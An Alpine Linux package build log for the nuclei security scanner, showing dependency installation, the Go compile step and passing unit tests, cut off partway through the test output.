>>> nuclei: Building testing/nuclei 3.4.10-r0 (using abuild 3.15.0-r3) started Mon, 25 Aug 2025 17:41:27 +0000 >>> nuclei: Validating /home/buildozer/aports/testing/nuclei/APKBUILD... >>> nuclei: Analyzing dependencies... >>> nuclei: Installing for build: build-base go chromium ( 1/160) Installing go (1.25.0-r0) ( 2/160) Installing libxau (1.0.12-r0) ( 3/160) Installing libmd (1.1.0-r0) ( 4/160) Installing libbsd (0.12.2-r0) ( 5/160) Installing libxdmcp (1.1.5-r1) ( 6/160) Installing libxcb (1.17.0-r0) ( 7/160) Installing libx11 (1.8.12-r0) ( 8/160) Installing libxext (1.3.6-r2) ( 9/160) Installing hwdata-pci (0.398-r0) ( 10/160) Installing libpciaccess (0.18.1-r1) ( 11/160) Installing libdrm (2.4.125-r0) ( 12/160) Installing chromium-angle (139.0.7258.138-r0) ( 13/160) Installing chromium-common (139.0.7258.138-r0) ( 14/160) Installing libbz2 (1.0.8-r6) ( 15/160) Installing libpng (1.6.49-r0) ( 16/160) Installing freetype (2.13.3-r0) ( 17/160) Installing fontconfig (2.17.1-r0) ( 18/160) Installing libfontenc (1.1.8-r0) ( 19/160) Installing mkfontscale (1.2.3-r1) ( 20/160) Installing font-opensans (0_git20210927-r1) ( 21/160) Installing libffi (3.5.2-r0) ( 22/160) Installing libeconf (0.7.10-r0) ( 23/160) Installing libblkid (2.41.1-r1) ( 24/160) Installing libmount (2.41.1-r1) ( 25/160) Installing glib (2.84.4-r0) ( 26/160) Installing gobject-introspection (1.84.0-r1) ( 27/160) Installing hicolor-icon-theme (0.18-r0) ( 28/160) Installing xz-libs (5.8.1-r0) ( 29/160) Installing libxml2 (2.13.8-r0) ( 30/160) Installing shared-mime-info (2.4-r6) ( 31/160) Installing libjpeg-turbo (3.1.1-r0) ( 32/160) Installing libsharpyuv (1.6.0-r0) ( 33/160) Installing libwebp (1.6.0-r0) ( 34/160) Installing tiff (4.7.0-r2) ( 35/160) Installing gdk-pixbuf (2.42.12-r2) ( 36/160) Installing gtk-update-icon-cache (3.24.50-r0) ( 37/160) Installing libxcomposite (0.4.6-r5) ( 38/160) Installing libxfixes (6.0.1-r4) ( 39/160) Installing libxrender (0.9.12-r0) ( 40/160) Installing libxcursor (1.2.3-r0) ( 41/160) Installing libxdamage (1.1.6-r5) ( 42/160) Installing libxi (1.8.2-r0) ( 43/160) Installing libxinerama (1.1.5-r4) ( 44/160) Installing libxrandr (1.5.4-r1) ( 45/160) Installing libatk-1.0 (2.56.4-r1) ( 46/160) Installing dbus-libs (1.16.2-r1) ( 47/160) Installing at-spi2-core-libs (2.56.4-r1) ( 48/160) Installing libxtst (1.2.5-r0) ( 49/160) Installing at-spi2-core (2.56.4-r1) ( 50/160) Installing libatk-bridge-2.0 (2.56.4-r1) ( 51/160) Installing pixman (0.46.4-r0) ( 52/160) Installing cairo (1.18.4-r0) ( 53/160) Installing cairo-gobject (1.18.4-r0) ( 54/160) Installing avahi-libs (0.8-r22) ( 55/160) Installing nettle (3.10.2-r0) ( 56/160) Installing libtasn1 (4.20.0-r0) ( 57/160) Installing p11-kit (0.25.5-r2) ( 58/160) Installing gnutls (3.8.8-r0) ( 59/160) Installing cups-libs (2.4.12-r0) ( 60/160) Installing libepoxy (1.5.10-r1) ( 61/160) Installing fribidi (1.0.16-r1) ( 62/160) Installing graphite2 (1.3.14-r6) ( 63/160) Installing harfbuzz (11.3.2-r0) ( 64/160) Installing libxft (2.3.9-r0) ( 65/160) Installing pango (1.56.4-r0) ( 66/160) Installing wayland-libs-client (1.24.0-r0) ( 67/160) Installing wayland-libs-cursor (1.24.0-r0) ( 68/160) Installing wayland-libs-egl (1.24.0-r0) ( 69/160) Installing xkeyboard-config (2.45-r0) ( 70/160) Installing libxkbcommon (1.11.0-r0) ( 71/160) Installing gtk+3.0 (3.24.50-r0) ( 72/160) Installing icu-data-full (76.1-r1) ( 73/160) Installing llvm20-libs (20.1.8-r0) ( 74/160) Installing spirv-tools (1.4.321.0-r0) ( 75/160) Installing libelf (0.193-r0) ( 76/160) Installing libxshmfence (1.3.3-r0) ( 77/160) Installing mesa (25.2.1-r0) ( 78/160) Installing mesa-gbm (25.2.1-r0) ( 79/160) Installing mesa-dri-gallium (25.2.1-r0) ( 80/160) Installing eudev-libs (3.2.14-r5) ( 81/160) Installing xprop (1.2.8-r0) ( 82/160) Installing libice (1.1.2-r0) ( 83/160) Installing libuuid (2.41.1-r1) ( 84/160) Installing libsm (1.2.6-r0) ( 85/160) Installing libxt (1.3.1-r0) ( 86/160) Installing libxmu (1.2.1-r0) ( 87/160) Installing xset (1.2.5-r1) ( 88/160) Installing xdg-utils (1.2.1-r1) ( 89/160) Installing libogg (1.3.6-r0) ( 90/160) Installing libflac (1.4.3-r2) ( 91/160) Installing alsa-lib (1.2.14-r1) ( 92/160) Installing libSvtAv1Enc (2.3.0-r0) ( 93/160) Installing aom-libs (3.12.1-r0) ( 94/160) Installing libva (2.22.0-r1) ( 95/160) Installing libvdpau (1.5-r4) ( 96/160) Installing ffmpeg-libavutil (6.1.2-r5) ( 97/160) Installing libdav1d (1.5.1-r0) ( 98/160) Installing lcms2 (2.16-r0) ( 99/160) Installing libjxl (0.11.1-r0) (100/160) Installing lame-libs (3.100-r5) (101/160) Installing opus (1.5.2-r1) (102/160) Installing rav1e-libs (0.8.1-r0) (103/160) Installing soxr (0.1.3-r7) (104/160) Installing ffmpeg-libswresample (6.1.2-r5) (105/160) Installing libtheora (1.1.1-r18) (106/160) Installing libvorbis (1.3.7-r2) (107/160) Installing libvpx (1.15.1-r1) (108/160) Installing libwebpmux (1.6.0-r0) (109/160) Installing x264-libs (0.164.3108-r0) (110/160) Installing numactl (2.0.18-r0) (111/160) Installing x265-libs (3.6-r0) (112/160) Installing xvidcore (1.3.7-r2) (113/160) Installing ffmpeg-libavcodec (6.1.2-r5) (114/160) Installing libbluray (1.3.4-r1) (115/160) Installing mpg123-libs (1.33.1-r0) (116/160) Installing libopenmpt (0.8.2-r0) (117/160) Installing mbedtls (3.6.4-r0) (118/160) Installing librist (0.2.10-r1) (119/160) Installing libsrt (1.5.3-r1) (120/160) Installing libssh (0.11.2-r0) (121/160) Installing libsodium (1.0.20-r0) (122/160) Installing libzmq (4.3.5-r2) (123/160) Installing ffmpeg-libavformat (6.1.2-r5) (124/160) Installing crc32c (1.1.2-r2) (125/160) Installing double-conversion (3.3.1-r0) (126/160) Installing harfbuzz-subset (11.3.2-r0) (127/160) Installing minizip (1.3.1-r0) (128/160) Installing nspr (4.36-r0) (129/160) Installing sqlite-libs (3.50.4-r1) (130/160) Installing nss (3.115.1-r0) (131/160) Installing openh264 (2.6.0-r0) (132/160) Installing libpisp (1.2.0-r0) (133/160) Installing libcamera-ipa (0.5.2-r0) (134/160) Installing libunwind (1.8.1-r0) (135/160) Installing yaml (0.2.5-r2) (136/160) Installing libcamera (0.5.2-r0) (137/160) Installing serd-libs (0.32.4-r0) (138/160) Installing zix-libs (0.6.2-r0) (139/160) Installing sord-libs (0.16.18-r0) (140/160) Installing sratom (0.6.18-r0) (141/160) Installing lilv-libs (0.24.26-r0) (142/160) Installing speexdsp (1.2.1-r2) (143/160) Installing libuv (1.51.0-r0) (144/160) Installing roc-toolkit-libs (0.4.0-r1) (145/160) Installing libsndfile (1.2.2-r2) (146/160) Installing abseil-cpp-raw-logging-internal (20240722.1-r2) (147/160) Installing abseil-cpp-strings-internal (20240722.1-r2) (148/160) Installing abseil-cpp-strings (20240722.1-r2) (149/160) Installing webrtc-audio-processing-2 (2.1-r0) (150/160) Installing pipewire-libs (1.4.7-r0) (151/160) Installing libasyncns (0.8-r4) (152/160) Installing libltdl (2.5.4-r1) (153/160) Installing orc (0.4.41-r0) (154/160) Installing tdb-libs (1.4.13-r0) (155/160) Installing libpulse (17.0-r5) (156/160) Installing simdutf (7.3.6-r0) (157/160) Installing libwebpdemux (1.6.0-r0) (158/160) Installing libxslt (1.1.43-r3) (159/160) Installing chromium (139.0.7258.138-r0) (160/160) Installing .makedepends-nuclei (20250825.174128) busybox-1.37.0-r22.trigger: Executing script... fontconfig-2.17.1-r0.trigger: Executing script... mkfontscale-1.2.3-r1.trigger: Executing script... glib-2.84.4-r0.trigger: Executing script... shared-mime-info-2.4-r6.trigger: Executing script... gdk-pixbuf-2.42.12-r2.trigger: Executing script... gtk-update-icon-cache-3.24.50-r0.trigger: Executing script... gtk+3.0-3.24.50-r0.trigger: Executing script... OK: 1175 MiB in 268 packages >>> nuclei: Cleaning up srcdir >>> nuclei: Cleaning up pkgdir >>> nuclei: Cleaning up tmpdir >>> nuclei: Fetching https://distfiles.alpinelinux.org/distfiles/edge/nuclei-3.4.10.tar.gz Connecting to distfiles.alpinelinux.org (172.105.82.32:443) wget: server returned error: HTTP/1.1 404 Not Found >>> nuclei: Fetching nuclei-3.4.10.tar.gz::https://github.com/projectdiscovery/nuclei/archive/refs/tags/v3.4.10.tar.gz Connecting to github.com (140.82.121.3:443) Connecting to codeload.github.com (140.82.121.9:443) saving to '/var/cache/distfiles/edge/nuclei-3.4.10.tar.gz.part' nuclei-3.4.10.tar.gz 100% |********************************| 11.3M 0:00:00 ETA '/var/cache/distfiles/edge/nuclei-3.4.10.tar.gz.part' saved >>> nuclei: Fetching https://distfiles.alpinelinux.org/distfiles/edge/nuclei-3.4.10.tar.gz >>> nuclei: Checking sha512sums... nuclei-3.4.10.tar.gz: OK >>> nuclei: Unpacking /var/cache/distfiles/edge/nuclei-3.4.10.tar.gz... rm -f './bin/nuclei' 2>/dev/null CGO_ENABLED=0 go build -trimpath -v -pgo=auto -ldflags '-s -w -extldflags "-static"' \ -o './bin/nuclei' cmd/nuclei/main.go github.com/projectdiscovery/nuclei/v3/pkg/catalog/config github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/hosterrorscache github.com/projectdiscovery/nuclei/v3/pkg/templates/signer github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk github.com/projectdiscovery/nuclei/v3/pkg/utils github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice github.com/projectdiscovery/nuclei/v3/pkg/types github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns/dnsclientpool github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/replacer github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils/http github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/signer github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators github.com/projectdiscovery/nuclei/v3/pkg/external/customtemplates github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate github.com/projectdiscovery/nuclei/v3/pkg/protocols/whois/rdapclientpool github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/flow/builtin github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httputils github.com/projectdiscovery/nuclei/v3/pkg/input/formats/openapi github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/signerpool github.com/projectdiscovery/nuclei/v3/pkg/operators/common/dsl github.com/projectdiscovery/nuclei/v3/pkg/input/formats/swagger github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors github.com/projectdiscovery/nuclei/v3/pkg/input/provider/http github.com/projectdiscovery/nuclei/v3/pkg/installer github.com/projectdiscovery/nuclei/v3/pkg/operators github.com/projectdiscovery/nuclei/v3/pkg/output github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/globalmatchers github.com/projectdiscovery/nuclei/v3/pkg/reporting/dedupe github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/mongo github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/sarif github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/filters github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/utils github.com/projectdiscovery/nuclei/v3/pkg/scan github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl github.com/projectdiscovery/nuclei/v3/pkg/reporting/format github.com/projectdiscovery/nuclei/v3/internal/pdcp github.com/projectdiscovery/nuclei/v3/pkg/js/libs/fs github.com/projectdiscovery/nuclei/v3/pkg/js/libs/ldap github.com/projectdiscovery/nuclei/v3/pkg/js/libs/mssql github.com/projectdiscovery/nuclei/v3/pkg/js/libs/kerberos github.com/projectdiscovery/nuclei/v3/pkg/js/libs/mysql github.com/projectdiscovery/nuclei/v3/pkg/js/libs/oracle github.com/projectdiscovery/nuclei/v3/pkg/js/libs/pop3 github.com/projectdiscovery/nuclei/v3/pkg/js/utils/pgwrap github.com/projectdiscovery/nuclei/v3/pkg/js/libs/rdp github.com/projectdiscovery/nuclei/v3/pkg/js/libs/rsync github.com/projectdiscovery/nuclei/v3/pkg/js/libs/vnc github.com/projectdiscovery/nuclei/v3/pkg/js/libs/smtp github.com/projectdiscovery/nuclei/v3/pkg/js/libs/smb github.com/projectdiscovery/nuclei/v3/pkg/js/global github.com/projectdiscovery/nuclei/v3/pkg/js/libs/net github.com/projectdiscovery/nuclei/v3/pkg/js/libs/redis github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/es github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/splunk github.com/projectdiscovery/nuclei/v3/pkg/protocols/network/networkclientpool github.com/projectdiscovery/nuclei/v3/pkg/js/libs/ssh github.com/projectdiscovery/nuclei/v3/pkg/js/libs/telnet github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/gitea github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/gitlab github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/jira github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/linear github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/github github.com/projectdiscovery/nuclei/v3/pkg/js/libs/postgres github.com/projectdiscovery/nuclei/v3/pkg/reporting github.com/projectdiscovery/nuclei/v3/pkg/js/compiler github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/writer github.com/projectdiscovery/nuclei/v3/internal/httpapi github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/variables github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine github.com/projectdiscovery/nuclei/v3/pkg/protocols github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/eventcreator github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/generic github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/multiproto github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/flow github.com/projectdiscovery/nuclei/v3/pkg/workflows github.com/projectdiscovery/nuclei/v3/pkg/fuzz github.com/projectdiscovery/nuclei/v3/pkg/protocols/code github.com/projectdiscovery/nuclei/v3/pkg/protocols/javascript github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns github.com/projectdiscovery/nuclei/v3/pkg/protocols/network github.com/projectdiscovery/nuclei/v3/pkg/protocols/offlinehttp github.com/projectdiscovery/nuclei/v3/pkg/protocols/ssl github.com/projectdiscovery/nuclei/v3/pkg/protocols/file github.com/projectdiscovery/nuclei/v3/pkg/protocols/whois github.com/projectdiscovery/nuclei/v3/pkg/protocols/websocket github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolinit github.com/projectdiscovery/nuclei/v3/pkg/protocols/http github.com/projectdiscovery/nuclei/v3/pkg/testutils github.com/projectdiscovery/nuclei/v3/pkg/tmplexec github.com/projectdiscovery/nuclei/v3/pkg/templates github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/uncover github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow github.com/projectdiscovery/nuclei/v3/pkg/input/provider/list github.com/projectdiscovery/nuclei/v3/pkg/input/provider github.com/projectdiscovery/nuclei/v3/pkg/core github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/automaticscan github.com/projectdiscovery/nuclei/v3/internal/server github.com/projectdiscovery/nuclei/v3/internal/runner command-line-arguments go test -race -v ./... ? github.com/projectdiscovery/nuclei/v3/cmd/docgen [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/functional-test [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/generate-checksum [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/integration-test [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/memogen [no test files] testing: warning: no tests to run PASS ok github.com/projectdiscovery/nuclei/v3/cmd/nuclei 1.453s [no tests to run] ? github.com/projectdiscovery/nuclei/v3/cmd/scan-charts [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/tmc [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/tools/fuzzplayground [no test files] ? github.com/projectdiscovery/nuclei/v3/cmd/tools/signer [no test files] ? github.com/projectdiscovery/nuclei/v3/examples/advanced [no test files] ? github.com/projectdiscovery/nuclei/v3/examples/simple [no test files] ? github.com/projectdiscovery/nuclei/v3/examples/with_speed_control [no test files] ? github.com/projectdiscovery/nuclei/v3/internal/colorizer [no test files] ? github.com/projectdiscovery/nuclei/v3/internal/httpapi [no test files] ? github.com/projectdiscovery/nuclei/v3/internal/pdcp [no test files] === RUN TestParseHeadlessOptionalArguments === RUN TestParseHeadlessOptionalArguments/single_value === RUN TestParseHeadlessOptionalArguments/empty_string === RUN TestParseHeadlessOptionalArguments/empty_key === RUN TestParseHeadlessOptionalArguments/empty_value === RUN TestParseHeadlessOptionalArguments/double_input === RUN TestParseHeadlessOptionalArguments/duplicated_input --- PASS: TestParseHeadlessOptionalArguments (0.00s) --- PASS: TestParseHeadlessOptionalArguments/single_value (0.00s) --- PASS: TestParseHeadlessOptionalArguments/empty_string (0.00s) --- PASS: TestParseHeadlessOptionalArguments/empty_key (0.00s) --- PASS: TestParseHeadlessOptionalArguments/empty_value (0.00s) --- PASS: TestParseHeadlessOptionalArguments/double_input (0.00s) --- PASS: TestParseHeadlessOptionalArguments/duplicated_input (0.00s) === RUN TestCreateReportingOptions --- PASS: TestCreateReportingOptions (0.00s) === RUN TestWalkReflectStructAssignsEnvVars --- PASS: TestWalkReflectStructAssignsEnvVars (0.00s) === RUN TestWalkReflectStructHandlesDifferentTypes --- PASS: TestWalkReflectStructHandlesDifferentTypes (0.00s) === RUN TestWalkReflectStructEmpty --- PASS: TestWalkReflectStructEmpty (0.00s) === RUN TestWalkReflectStructWithNoYamlTag --- PASS: TestWalkReflectStructWithNoYamlTag (0.00s) === RUN TestWalkReflectStructHandlesNestedStructs --- PASS: TestWalkReflectStructHandlesNestedStructs (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/internal/runner 1.450s ? github.com/projectdiscovery/nuclei/v3/internal/server [no test files] === RUN TestManagerValidate === RUN TestManagerValidate/url --- PASS: TestManagerValidate (0.00s) --- PASS: TestManagerValidate/url (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/internal/server/scope 1.031s === RUN TestContextCancelNucleiEngine 2025/08/25 17:42:47 Test: context cancelled [0:00:00] | Templates: 257 | Hosts: 1 | RPS: 0 | Matched: 0 | Errors: 0 | Requests: 0/384 (0%) --- PASS: TestContextCancelNucleiEngine (11.05s) PASS ok github.com/projectdiscovery/nuclei/v3/lib 12.595s === RUN TestSimpleNuclei [caa-fingerprint] scanme.sh [nameserver-fingerprint] scanme.sh {"duration":"0:00:01","errors":"1","hosts":"1","matched":"2","percent":"100","requests":"16","rps":"17","startedAt":"2025-08-25T17:42:55.991507608Z","templates":"24","total":"16"} --- PASS: TestSimpleNuclei (13.91s) === RUN TestSimpleNucleiRemote [nameserver-fingerprint] scanme.sh --- PASS: TestSimpleNucleiRemote (2.85s) === RUN TestThreadSafeNuclei === RUN TestThreadSafeNuclei/scanme.sh [nameserver-fingerprint] scanme.sh [caa-fingerprint] scanme.sh === RUN TestThreadSafeNuclei/honey.scanme.sh [caa-fingerprint] honey.scanme.sh --- PASS: TestThreadSafeNuclei (12.87s) --- PASS: TestThreadSafeNuclei/scanme.sh (10.51s) --- PASS: TestThreadSafeNuclei/honey.scanme.sh (0.32s) === RUN TestWithVarsNuclei [INF] [api-1forge] Dumped HTTP request for https://api.1forge.com/quota?api_key=foobar GET /quota?api_key=foobar HTTP/1.1 Host: api.1forge.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15 Connection: close Accept: */* Accept-Language: en Accept-Encoding: gzip --- PASS: TestWithVarsNuclei (2.70s) PASS ok github.com/projectdiscovery/nuclei/v3/lib/tests 33.967s ? github.com/projectdiscovery/nuclei/v3/pkg/authprovider [no test files] === RUN TestDynamicUnmarshalJSON === RUN TestDynamicUnmarshalJSON/basic-unmarshal === RUN TestDynamicUnmarshalJSON/complex-unmarshal === RUN TestDynamicUnmarshalJSON/invalid-json === RUN TestDynamicUnmarshalJSON/empty-json --- PASS: TestDynamicUnmarshalJSON (0.00s) --- PASS: TestDynamicUnmarshalJSON/basic-unmarshal (0.00s) --- PASS: TestDynamicUnmarshalJSON/complex-unmarshal (0.00s) --- PASS: TestDynamicUnmarshalJSON/invalid-json (0.00s) --- PASS: TestDynamicUnmarshalJSON/empty-json (0.00s) === RUN TestSecretsUnmarshal --- PASS: TestSecretsUnmarshal (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/authprovider/authx 1.265s ? github.com/projectdiscovery/nuclei/v3/pkg/catalog [no test files] === RUN TestCatalog_GetTemplatePath === RUN TestCatalog_GetTemplatePath/get_all_ssl_files === RUN TestCatalog_GetTemplatePath/get_all_ssl_files_with_wildcard === RUN TestCatalog_GetTemplatePath/non-matching_target --- PASS: TestCatalog_GetTemplatePath (0.00s) --- PASS: TestCatalog_GetTemplatePath/get_all_ssl_files (0.00s) --- PASS: TestCatalog_GetTemplatePath/get_all_ssl_files_with_wildcard (0.00s) --- PASS: TestCatalog_GetTemplatePath/non-matching_target (0.00s) === RUN TestCatalog_GetTemplatesPath === RUN TestCatalog_GetTemplatesPath/without_definitions === RUN TestCatalog_GetTemplatesPath/with_definitions --- PASS: TestCatalog_GetTemplatesPath (0.00s) --- PASS: TestCatalog_GetTemplatesPath/without_definitions (0.00s) --- PASS: TestCatalog_GetTemplatesPath/with_definitions (0.00s) === RUN TestCatalog_OpenFile === RUN TestCatalog_OpenFile/valid_key === RUN TestCatalog_OpenFile/nonexistent_key === RUN TestCatalog_OpenFile/path_to_folder --- PASS: TestCatalog_OpenFile (0.00s) --- PASS: TestCatalog_OpenFile/valid_key (0.00s) --- PASS: TestCatalog_OpenFile/nonexistent_key (0.00s) --- PASS: TestCatalog_OpenFile/path_to_folder (0.00s) === RUN TestCatalog_ResolvePath === RUN TestCatalog_ResolvePath/absolute_path === RUN TestCatalog_ResolvePath/relative_path_with_second_param === RUN TestCatalog_ResolvePath/relative_path_and_no_second_param --- PASS: TestCatalog_ResolvePath (0.00s) --- PASS: TestCatalog_ResolvePath/absolute_path (0.00s) --- PASS: TestCatalog_ResolvePath/relative_path_with_second_param (0.00s) --- PASS: TestCatalog_ResolvePath/relative_path_and_no_second_param (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/catalog/aws 1.039s ? github.com/projectdiscovery/nuclei/v3/pkg/catalog/config [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk [no test files] === RUN TestLoadTemplates === RUN TestLoadTemplates/blank === RUN TestLoadTemplates/only-tags === RUN TestLoadTemplates/tags-with-path --- PASS: TestLoadTemplates (0.00s) --- PASS: TestLoadTemplates/blank (0.00s) --- PASS: TestLoadTemplates/only-tags (0.00s) --- PASS: TestLoadTemplates/tags-with-path (0.00s) === RUN TestRemoteTemplates === RUN TestRemoteTemplates/remote-templates-positive === RUN TestRemoteTemplates/remote-templates-negative --- PASS: TestRemoteTemplates (0.00s) --- PASS: TestRemoteTemplates/remote-templates-positive (0.00s) --- PASS: TestRemoteTemplates/remote-templates-negative (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader 1.544s ? github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader/filter [no test files] === RUN TestWorkflowsSimple --- PASS: TestWorkflowsSimple (0.00s) === RUN TestWorkflowsSimpleMultiple --- PASS: TestWorkflowsSimpleMultiple (0.00s) === RUN TestWorkflowsSubtemplates --- PASS: TestWorkflowsSubtemplates (0.00s) === RUN TestWorkflowsSubtemplatesNoMatch --- PASS: TestWorkflowsSubtemplatesNoMatch (0.00s) === RUN TestWorkflowsSubtemplatesWithMatcher --- PASS: TestWorkflowsSubtemplatesWithMatcher (0.00s) === RUN TestWorkflowsSubtemplatesWithMatcherNoMatch --- PASS: TestWorkflowsSubtemplatesWithMatcherNoMatch (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/core 1.549s === RUN TestDownloadCustomTemplatesFromGitHub --- PASS: TestDownloadCustomTemplatesFromGitHub (0.76s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/external/customtemplates 2.269s === RUN TestRuleMatchKeyOrValue === RUN TestRuleMatchKeyOrValue/key === RUN TestRuleMatchKeyOrValue/value --- PASS: TestRuleMatchKeyOrValue (0.00s) --- PASS: TestRuleMatchKeyOrValue/key (0.00s) --- PASS: TestRuleMatchKeyOrValue/value (0.00s) === RUN TestEvaluateVariables === RUN TestEvaluateVariables/keys === RUN TestEvaluateVariables/keys-regex === RUN TestEvaluateVariables/values-regex === RUN TestEvaluateVariables/complex-variables === RUN TestEvaluateVariables/invalid-variables === RUN TestEvaluateVariables/evaluateVars-function --- PASS: TestEvaluateVariables (0.00s) --- PASS: TestEvaluateVariables/keys (0.00s) --- PASS: TestEvaluateVariables/keys-regex (0.00s) --- PASS: TestEvaluateVariables/values-regex (0.00s) --- PASS: TestEvaluateVariables/complex-variables (0.00s) --- PASS: TestEvaluateVariables/invalid-variables (0.00s) --- PASS: TestEvaluateVariables/evaluateVars-function (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/fuzz 1.498s ? github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers [no test files] === RUN TestPerfectLinear --- PASS: TestPerfectLinear (0.06s) === RUN TestNoCorrelation --- PASS: TestNoCorrelation (0.01s) === RUN TestNoisyLinear --- PASS: TestNoisyLinear (0.10s) === RUN TestMinimalData --- PASS: TestMinimalData (0.02s) === RUN TestPerfectLinearSlopeOne_NoNoise --- PASS: TestPerfectLinearSlopeOne_NoNoise (0.10s) === RUN TestPerfectLinearSlopeTwo_NoNoise --- PASS: TestPerfectLinearSlopeTwo_NoNoise (0.11s) === RUN TestLinearWithNoise --- PASS: TestLinearWithNoise (0.12s) === RUN TestNoCorrelationHighBaseline --- PASS: TestNoCorrelationHighBaseline (0.01s) === RUN TestNegativeSlopeScenario --- PASS: TestNegativeSlopeScenario (0.01s) === RUN TestLargeNumberOfRequests --- PASS: TestLargeNumberOfRequests (0.20s) === RUN TestHighBaselineLowSlope --- PASS: TestHighBaselineLowSlope (0.10s) === RUN TestHighNoiseConcealsSlope --- PASS: TestHighNoiseConcealsSlope (0.03s) === RUN TestAlternatingSequences --- PASS: TestAlternatingSequences (0.00s) === RUN TestNonInjectableQuickFail --- PASS: TestNonInjectableQuickFail (0.00s) === RUN TestSlowNonInjectableCase --- PASS: TestSlowNonInjectableCase (0.00s) === RUN TestRealWorldNonInjectableCase --- PASS: TestRealWorldNonInjectableCase (0.00s) === RUN TestSmallErrorDependence --- PASS: TestSmallErrorDependence (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers/time 2.357s === RUN TestBodyComponent --- PASS: TestBodyComponent (0.00s) === RUN TestBodyXMLComponent --- PASS: TestBodyXMLComponent (0.00s) === RUN TestBodyFormComponent --- PASS: TestBodyFormComponent (0.00s) === RUN TestMultiPartFormComponent --- PASS: TestMultiPartFormComponent (0.00s) === RUN TestCookieComponent --- PASS: TestCookieComponent (0.00s) === RUN TestHeaderComponent --- PASS: TestHeaderComponent (0.00s) === RUN TestURLComponent --- PASS: TestURLComponent (0.00s) === RUN TestURLComponent_NestedPaths --- PASS: TestURLComponent_NestedPaths (0.00s) === RUN TestQueryComponent --- PASS: TestQueryComponent (0.00s) === RUN TestFlatMap_FlattenUnflatten --- PASS: TestFlatMap_FlattenUnflatten (0.00s) === RUN TestAnySlice --- PASS: TestAnySlice (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/fuzz/component 1.098s === RUN TestDataformatDecodeEncode_JSON --- PASS: TestDataformatDecodeEncode_JSON (0.00s) === RUN TestDataformatDecodeEncode_XML --- PASS: TestDataformatDecodeEncode_XML (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/fuzz/dataformat 1.054s ? github.com/projectdiscovery/nuclei/v3/pkg/fuzz/frequency [no test files] === RUN Test_NewStatsDatabase --- PASS: Test_NewStatsDatabase (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/fuzz/stats 1.036s === RUN TestConvertInputToType --- PASS: TestConvertInputToType (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input 1.287s ? github.com/projectdiscovery/nuclei/v3/pkg/input/formats [no test files] === RUN TestBurpParse --- PASS: TestBurpParse (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/input/formats/burp 1.154s === RUN TestJSONFormatterParse --- PASS: TestJSONFormatterParse (0.01s) PASS ok 